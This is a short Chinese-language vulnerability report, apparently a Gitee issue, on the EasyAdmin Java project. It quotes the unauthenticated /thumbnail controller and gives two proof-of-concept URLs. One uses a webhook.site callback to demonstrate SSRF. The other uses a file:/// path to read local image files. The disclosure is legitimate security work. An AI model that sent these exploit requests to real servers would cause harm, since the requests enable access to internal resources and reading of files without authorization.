EasyAdmin 未授权 SSRF/图片文件读取

# EasyAdmin 未授权 SSRF/图片文件读取

`src/main/java/com/laker/admin/module/sys/controller/IndexController.java` 这个未授权的路由存在两个问题，一个是 SSRF，另一个是本地的图片文件读取

```java
/**
 * 缩略图
 * http://localhost:8080/thumbnail?url=http://localhost:8080/admin/admin/images/wx.jpg
 */
@GetMapping("/thumbnail")
public void thumbnail(String url, HttpServletResponse response,
                        @RequestParam(required = false, defaultValue = "1") int type,
                        @RequestParam(required = false, defaultValue = "100") int width,
                        @RequestParam(required = false, defaultValue = "100") int height) throws IOException {
    OutputStream out = new BufferedOutputStream(response.getOutputStream());
    switch (type) {
        case 1: // 预览
            response.setContentType("image/" + FileUtil.getSuffix(url) + "; charset=utf-8");
            break;
        case 2: // 下载
            response.addHeader("Content-Disposition", "attachment;filename="
                    + new String(FileUtil.mainName(url).getBytes("utf-8"), "iso-8859-1") + "." + FileUtil.getSuffix(url));
            response.setContentType("application/octet-stream");
            break;
        default:
            response.setContentType("image/" + FileUtil.getSuffix(url) + "; charset=utf-8");

}
    EasyImageUtils.compressBysize(url, out, width, height);
}
```

## SSRF

[http://localhost:8080/thumbnail?url=https://webhook.site/1aa3b71f-cb6c-4c10-bafd-5964815649b0&type=2&width=1&height=1](http://localhost:8080/thumbnail?url=https://webhook.site/1aa3b71f-cb6c-4c10-bafd-5964815649b0&type=2&width=1&height=1)

![](https://pic.l1nyz-tel.cc/202403151751307.png)

## 任意(图片)文件读取

[http://localhost:8080/thumbnail?url=file:///Users/tel/Downloads/1.jpeg&type=2&width=10000&height=10000](http://localhost:8080/thumbnail?url=file:///Users/tel/Downloads/1.jpeg&type=2&width=10000&height=10000)

![](https://pic.l1nyz-tel.cc/202403151752450.png)

laker/EasyAdmin

内容风险标识

评论 (2)

laker/EasyAdmin .gitee-modal { width: 500px !important; }

内容风险标识